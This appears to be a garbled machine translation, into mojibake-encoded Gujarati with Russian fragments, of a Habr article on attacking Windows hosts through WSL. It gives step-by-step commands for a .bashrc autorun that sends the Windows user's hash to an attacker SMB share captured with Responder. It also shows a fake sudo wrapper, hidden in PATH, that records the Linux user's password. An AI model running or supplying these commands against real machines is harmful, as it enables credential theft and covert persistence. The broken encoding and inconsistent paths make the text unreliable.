เชญเชพเช—เชจเซ‡ เช•เชพเชขเซ€ เชจเชพเช–เชตเชพเชจเชพ เชชเซเชฐเชฏเชพเชธเซ‹ เชชเชฃ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เชนเชคเชพ.

เชฆเซƒเชถเซเชฏ:

  • A. เชตเชฟเชจเซเชกเซ‹เช เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎเชฅเซ€ เชนเซเชฎเชฒเซ‹ - Linux OS เชจเซ€ /etc เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€เชฎเชพเช‚เชฅเซ€ เชซเชพเช‡เชฒเซ‹เชฎเชพเช‚ เชซเซ‡เชฐเชซเชพเชฐ.
  • B. Linux เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎเชฎเชพเช‚เชฅเซ€ เชนเซเชฎเชฒเซ‹ - เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€เช“เชฎเชพเช‚ เชซเชพเช‡เชฒเซ‹เชฎเชพเช‚ เชซเซ‡เชฐเชซเชพเชฐ: C:Windows, C:Program Files, C:Users<User>

2. เชจเซ‡เชŸเชตเชฐเซเช• เชธเซเชŸเซ‡เช•เชจเซเช‚ เช…เชฎเชฒเซ€เช•เชฐเชฃ.

เชตเชฟเชจเซเชกเซ‹เช เชชเชฐ Linux เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎเชจเชพ เชนเซเชฎเชฒเชพเชจเชพ เช‰เชฆเชพเชนเชฐเชฃเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชธเช‚เชถเซ‹เชงเชจ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚. เชจเซ‡เชŸเชตเชฐเซเช• เชธเซเชŸเซ‡เช•เชจเซ€ เชตเชฟเชถเซ‡เชทเชคเชพเช“เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เชนเชคเซ‹, เชเชŸเชฒเซ‡ เช•เซ‡, เชตเชฟเชตเชฟเชง เชธเช‚เชธเชพเชงเชจเซ‹ เชชเชฐ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชชเชฆเซเชงเชคเชฟเช“.

เชฆเซƒเชถเซเชฏ:

  • เชตเชฟเชจเซเชกเซ‹เช เชธเชฟเชธเซเชŸเชฎ เชชเชฐ เช•เชฌเชœเซ‹ เชงเชฐเชพเชตเชคเชพ เชชเซ‹เชฐเซเชŸเชจเซ€ เชเช•เซเชธเซ‡เชธ เช–เซ‹เชฒเชตเซ€
  • เชฏเซ‹เช—เซเชฏ เช…เชงเชฟเช•เชพเชฐเซ‹ เชตเชฟเชจเชพ เชฌเช‚เชฆเชฐ เช–เซ‹เชฒเชตเซเช‚
  • เชตเชฟเชจเซเชกเซ‹เช เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎ เชชเชฐ เชเชฒเซเชซ เชซเชพเช‡เชฒเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชฐเชฟเชตเชฐเซเชธ เชถเซ‡เชฒ เชšเชฒเชพเชตเชตเซเช‚.

3. เชกเชฌเซเชฒเซเชฏเซเชเชธเชเชฒ เชธเชฌเชธเชฟเชธเซเชŸเชฎเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชฆเซ‚เชทเชฟเชค เชธเซ‹เชซเซเชŸเชตเซ‡เชฐ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเช“เชจเชพ เชฒเซ‹เชจเซเชšเชจเซ‡ เช›เซเชชเชพเชตเซ€ เชฐเชนเซเชฏเซเช‚ เช›เซ‡.

เชธเช‚เชถเซ‹เชงเชจ เชเช• เชธเชฐเชณ เชนเช•เซ€เช•เชค เชชเชฐ เช†เชงเชพเชฐเชฟเชค เชนเชคเซเช‚ - เชธเซเชฐเช•เซเชทเชพ เชธเชฌเชธเชฟเชธเซเชŸเชฎ เช…เชจเซเชฏ เช•เชฐเซเชจเชฒเชฎเชพเช‚ เช‡เชตเซ‡เชจเซเชŸเซเชธเชจเซ‡ เช…เชŸเช•เชพเชตเซ€ เชถเช•เชคเซ€ เชจเชฅเซ€ เชœเซ‡ WSL 1 เชจเชพ เช•เชฟเชธเซเชธเชพเชฎเชพเช‚ เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎเชฎเชพเช‚เชฅเซ€ เช•เชพเชฏเชฆเซ‡เชธเชฐ เชชเซเชฐเชฆเชพเชคเชพเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เช•เชพเชฐเซเชฏ เช•เชฐเซ‡ เช›เซ‡. WSL 2 เชจเชพ เช•เชฟเชธเซเชธเชพเชฎเชพเช‚, เช˜เชŸเชจเชพเช“ เชœเซ‹เชตเชพเชจเซ€ เช•เซ‹เชˆ เชฐเซ€เชค เชจเชฅเซ€. เชนเชณเชตเชพ เชตเชœเชจเชจเชพ เชตเชฐเซเชšเซเชฏเซเช…เชฒ เชฎเชถเซ€เชจเชจเซ€ เช…เช‚เชฆเชฐ เช…เชฒเช— เช•เชฐเซเชจเชฒเชฎเชพเช‚.

เชฆเซƒเชถเซเชฏ:

1) เชธเชฟเชธเซเชŸเชฎเชฎเชพเช‚ เชฐเซ€เชฎเซ‹เชŸ เชเช•เซเชธเซ‡เชธ เชฎเชพเชŸเซ‡ เชเชชเซเชฒเชฟเช•เซ‡เชถเชจ เชฒเซ‹เช‚เชš เช•เชฐเซ‹ เช…เชจเซ‡ เชฒเซ‹เช— เชฅเชฏเซ‡เชฒ เช‡เชตเซ‡เชจเซเชŸเซเชธ เชœเซเช“.

WSL 1 เชชเซเชฐเชฏเซ‹เช—เซ‹: เชนเซ‡เชถ เชˆเชจเซเชŸเชฐเชธเซ‡เชชเซเชถเชจ (เชตเชฟเชจเซเชกเซ‹เช)

เช›เซ‡เชตเชŸเซ‡ เช…เชฎเซ‡ เชตเซเชฏเชตเชนเชพเชฐเชฟเช• เชญเชพเช— เชชเชฐ เชชเชนเซ‹เช‚เชšเซเชฏเชพ. เชชเซเชฐเชฅเชฎ, เชคเชฎเชพเชฐเซ‡ เชชเชฐเซ€เช•เซเชทเชฃ เชตเชพเชคเชพเชตเชฐเชฃ เชธเซ‡เชŸ เช•เชฐเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡. เชฌเชงเชพ เชชเซเชฐเชฏเซ‹เช—เซ‹ เชตเชฟเชจเซเชกเซ‹เช 10 2004 เช‡เชจเซเชธเซเชŸเซ‹เชฒ เช•เชฐเซ‡เชฒ เชฌเซ‡เชจเซเชš เชชเชฐ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡. WSL เชฎเชพเชŸเซ‡ Ubuntu 18.04 เช‡เชฎเซ‡เชœเชจเซ‡ เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎ เช‡เชฎเซ‡เชœ เชคเชฐเซ€เช•เซ‡ เชชเชธเช‚เชฆ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€. เช›เชฌเซ€ เชฐเซ‡เชจเซเชกเชฎ เชชเชฐ เชชเชธเช‚เชฆ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€, เช…เชจเซ‡ เช•เซ‹เชˆเชชเชฃ เช…เชจเซเชฏ เชธเชฎเชพเชจ เช•เชพเชฐเซเชฏ เช•เชฐเชถเซ‡. เชธเซเชŸเซ‡เชจเซเชก เชธเซ‡เชŸ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡เชจเชพ เช†เชฆเซ‡เชถเซ‹:

เชคเชฎเชพเชฐเซ‡ เชชเชนเซ‡เชฒเชพ เชฒเซ‹เชจเซเชš เช•เชฐเชตเซเช‚ เชชเชกเชถเซ‡ powershell.exe เชธเช‚เชšเชพเชฒเช• เชคเชฐเซ€เช•เซ‡.

WSL 1 เชฎเชพเชŸเซ‡ เชคเชฎเชพเชฐเซ‡ เช†เชฆเซ‡เชถเซ‹ เชšเชฒเชพเชตเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะ’ะบะปัŽั‡ะธั‚ัŒ ั„ัƒะฝะบั†ะธัŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #ะ—ะฐะณั€ัƒะทะธั‚ัŒ ะพะฑั€ะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft

  • Ubuntu.appx install โ€”root #ะฃัั‚ะฐะฝะพะฒะธะผ ะพะฑั€ะฐะท
  • ะ’ะพะทะผะพะถะฝะพ, ะฟั€ะธะดะตั‚ัั ะฟั€ะพะบะปะธะบะฐั‚ัŒ ะฟั€ะพั†ะตัั ะฝะฐัั‚ั€ะพะนะบะธ ะธ ัะพะทะดะฐั‚ัŒ ะฝะพะฒะพะณะพ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั, ะบะพั‚ะพั€ั‹ะน ะฑัƒะดะตั‚ ะธะผะตั‚ัŒ ะผะตะฝัŒัˆะต ะฟั€ะฐะฒ, ั‡ะตะผ root. ะ”ะปั ะฝะฐัˆะธั… ั‚ะตัั‚ะพะฒ ัั‚ะพ ะฑัƒะดะตั‚ ะพะฑั‹ั‡ะฝั‹ะน ะฟะพะปัŒะทะพะฒะฐั‚ะตะปัŒ sam.
  • Restart-Computer #ะŸะตั€ะตะทะฐะณั€ัƒะทะธะผ
  • เชธเซเชŸเซ‡เชจเซเชก เชฐเซ€เชฌเซ‚เชŸ เช•เชฐเซเชฏเชพ เชชเช›เซ€, เชคเชฎเซ‡ bash เช†เชฆเซ‡เชถเชจเซ‡ เช•เซ‰เชฒ เช•เชฐเซ€ เชถเช•เซ‹ เช›เซ‹. เชœเซ‹ เชฌเชงเซเช‚ เชฏเซ‹เช—เซเชฏ เชฐเซ€เชคเซ‡ เช•เชพเชฐเซเชฏ เช•เชฐเซ‡ เช›เซ‡, เชคเซ‹ เชคเชฎเซ‡ Windows เช•เชจเซเชธเซ‹เชฒเชฎเชพเช‚ เช†เชจเชพ เชœเซ‡เชตเซเช‚ เชœ เช†เช‰เชŸเชชเซเชŸ เชœเซ‹เชถเซ‹:

    WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

    เช…เชฎเซ‡ เช•เชพเชฒเซ€ เชฒเชฟเชจเช•เซเชธ เชกเชฟเชธเซเชŸเซเชฐเชฟเชฌเซเชฏเซเชถเชจเชจเซ‹ เช‰เชชเชฏเซ‹เช— เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเชพ เชฎเชถเซ€เชจ เชคเชฐเซ€เช•เซ‡ เช•เชฐเซ€เชถเซเช‚; เชคเชฎเชพเชฎ เชฎเชถเซ€เชจเซ‹ เชธเชฎเชพเชจ เชธเซเชฅเชพเชจเชฟเช• เชจเซ‡เชŸเชตเชฐเซเช• เชชเชฐ เชนเซ‹เชตเชพ เชœเซ‹เชˆเช.

    เชšเชพเชฒเซ‹ เชงเชพเชฐเซ€เช เช•เซ‡ เช…เชฎเชพเชฐเซ€ เชชเชพเชธเซ‡ เชตเชฟเชจเซเชกเซ‹เช เชฎเชถเซ€เชจ เชชเชฐ เชกเชฌเซเชฒเซเชฏเซเชเชธเชเชฒเชจเซ€ เช…เชจเชชเซเชฐเชฟเชตเชฟเชฒเซ‡เชœ เชเช•เซเชธเซ‡เชธ เช›เซ‡. เชšเชพเชฒเซ‹ Linux เชจเชพ เช†เชฆเซ‡เชถเชจเซ‡ เช•เซ‰เชฒ เช•เชฐเซ€เชจเซ‡ Linux เช‘เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎ เชชเชฐ เชนเซเชฎเชฒเซ‹ เช•เชฐเชตเชพเชจเซ‹ เชชเซเชฐเชฏเชพเชธ เช•เชฐเซ€เช. เชนเซเชฎเชฒเชพเชจเซ‡ เช…เชฎเชฒเชฎเชพเช‚ เชฎเซ‚เช•เชตเชพ เชฎเชพเชŸเซ‡, เช…เชฎเซ‡ เชเช• เชธเชฐเชณ เช“เชŸเซ‹เชฐเชจ เชคเช•เชจเซ€เช•เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชถเซเช‚ - เช…เชฎเซ‡ Linux เชชเชฐเซเชฏเชพเชตเชฐเชฃเชฎเชพเช‚ เช…เชฎเชฒ เชฎเชพเชŸเซ‡ เช…เชฎเชพเชฐเซ€ เชธเซเช•เซเชฐเชฟเชชเซเชŸ เช‰เชฎเซ‡เชฐเซ€เชถเซเช‚. เช† เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชคเชฎเชพเชฐเซ‡ เชซเชพเช‡เชฒ เชฌเชฆเชฒเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡ .bashrc.

    WSL เชธเชพเชฅเซ‡เชจเชพ เชฎเชถเซ€เชจ เชชเชฐ เช…เชฎเซ‡ เชเช•เซเชเซ‡เช•เซเชฏเซเชŸ เช•เชฐเซ€เช เช›เซ€เช:

    	1. bash
    	2. ะŸะตั€ะตั…ะพะดะธะผ ะฒ ะดะพะผะฐัˆะฝัŽัŽ ะดะธั€ะตะบั‚ะพั€ะธัŽ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั: cd /home/sam/
    	2. echo  ยซ/home/sam/.attack.shยป >> .bashrc
    	3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    เช•เชพเชฒเซ€ เชฒเชฟเชจเช•เซเชธ เชฎเชถเซ€เชจ เชชเชฐ เช…เชฎเซ‡ เชšเชฒเชพเชตเซ€เช เช›เซ€เช:

    1. Responder -I eth0 -rdvw

    เชตเชฟเชจเซเชกเซ‹เช เชฎเชถเซ€เชจ เชชเชฐ, เชšเชพเชฒเซ‹ เชฌเซ‡เชถ เชฒเซ‹เชจเซเชš เช•เชฐเซ€เช.

    เช…เชฎเซ‡ เช•เชพเชฒเซ€ เชฒเชฟเชจเช•เซเชธ เชฎเชถเซ€เชจ เชชเชฐ เชชเชฐเชฟเชฃเชพเชฎเชจเซ€ เชฐเชพเชน เชœเซ‹เชˆ เชฐเชนเซเชฏเชพ เช›เซ€เช:

    WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

    เช†เชฎ, เช…เชฎเซ‡ Linux เชธเชฟเชธเซเชŸเชฎ เชชเชฐ เช†เชฆเซ‡เชถเชจเซ‡ เชเช•เซเชเชฟเช•เซเชฏเซเชŸ เช•เชฐเซ€เชจเซ‡ WSL เชธเชฌเชธเชฟเชธเซเชŸเชฎ เชฆเซเชตเชพเชฐเชพ เชตเชฟเชจเซเชกเซ‹เช เชฏเซเชเชฐ เชนเซ‡เชถ เชฎเซ‡เชณเชตเซเชฏเชพ เช›เซ‡.

    WSL 1 เชชเซเชฐเชฏเซ‹เช—เซ‹: เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชชเชพเชธเชตเชฐเซเชก เชฎเซ‡เชณเชตเชตเซ‹ (Linux OS)

    เชšเชพเชฒเซ‹ เชเช• เชตเชงเซ เชชเซเชฐเชฏเซ‹เช— เช•เชฐเซ€เช. เช† เชšเซ‡เช• เชฆเชฐเชฎเชฟเชฏเชพเชจ เช…เชฎเซ‡ เชซเชพเช‡เชฒเชฎเชพเช‚ เช‰เชฎเซ‡เชฐเซ€เชถเซเช‚ .bashrc Linux เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชชเชพเชธเชตเชฐเซเชก เชฎเซ‡เชณเชตเชตเชพ เชฎเชพเชŸเซ‡ เช˜เชฃเชพ เช†เชฆเซ‡เชถเซ‹.

    เชšเชพเชฒเซ‹ เชฌเซ‡เชถ เชฒเซ‹เชจเซเชš เช•เชฐเซ€เช เช…เชจเซ‡ เช†เชฆเซ‡เชถเซ‹ เชฆเชพเช–เชฒ เช•เชฐเซ€เช:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    เชนเซเชฎเชฒเชพเชจเซ‡ เชธเชซเชณเชคเชพเชชเซ‚เชฐเซเชตเช• เชชเซ‚เชฐเซเชฃ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡, เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชธเซ‡เชฎเชจเซ‡ Linux เชŸเชฐเซเชฎเชฟเชจเชฒเชฎเชพเช‚ sudo เช•เซ‰เชฒ เช•เชฐเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡. เช† เชชเช›เซ€, Linux OS เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชชเชพเชธเชตเชฐเซเชก เชซเชพเช‡เชฒเชฎเชพเช‚ เชนเชถเซ‡ pass.txt:

    WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

    เชนเซเชฎเชฒเชพเชจเซ‹ เช…เชฎเชฒ เชฎเชพเชคเซเชฐ เชธเซˆเชฆเซเชงเชพเช‚เชคเชฟเช• เชฎเชพเชนเชฟเชคเซ€ เชฎเชพเชŸเซ‡ เช†เชชเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เชนเชคเซ‹.

    เชฒเซ‡เช–เชจเซ‹ เช†เช—เชณเชจเซ‹ เชญเชพเช— 9P เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒเชจเชพ เช…เชฎเชฒเซ€เช•เชฐเชฃเชจเซเช‚ เชตเชฐเซเชฃเชจ เช•เชฐเชถเซ‡, เช† เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ เชฎเชพเชŸเซ‡ เชธเซเช•เซ‡เชจเชฐ เชฌเชจเชพเชตเชตเชพเชจเซ‹ เชตเชฟเชšเชพเชฐ เช•เชฐเชถเซ‡ เช…เชจเซ‡ เชคเซ‡เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชนเซเชฎเชฒเซ‹ เชชเชฃ เช•เชฐเชถเซ‡.

    เชตเชชเชฐเชพเชฏเซ‡เชฒ เชธเชพเชนเชฟเชคเซเชฏเชจเซ€ เชธเซ‚เชšเชฟ

    WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

    เชตเชงเซ เชตเชพเช‚เชšเซ‹

    เชธเซ‹เชฐเซเชธ: www.habr.com

    เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹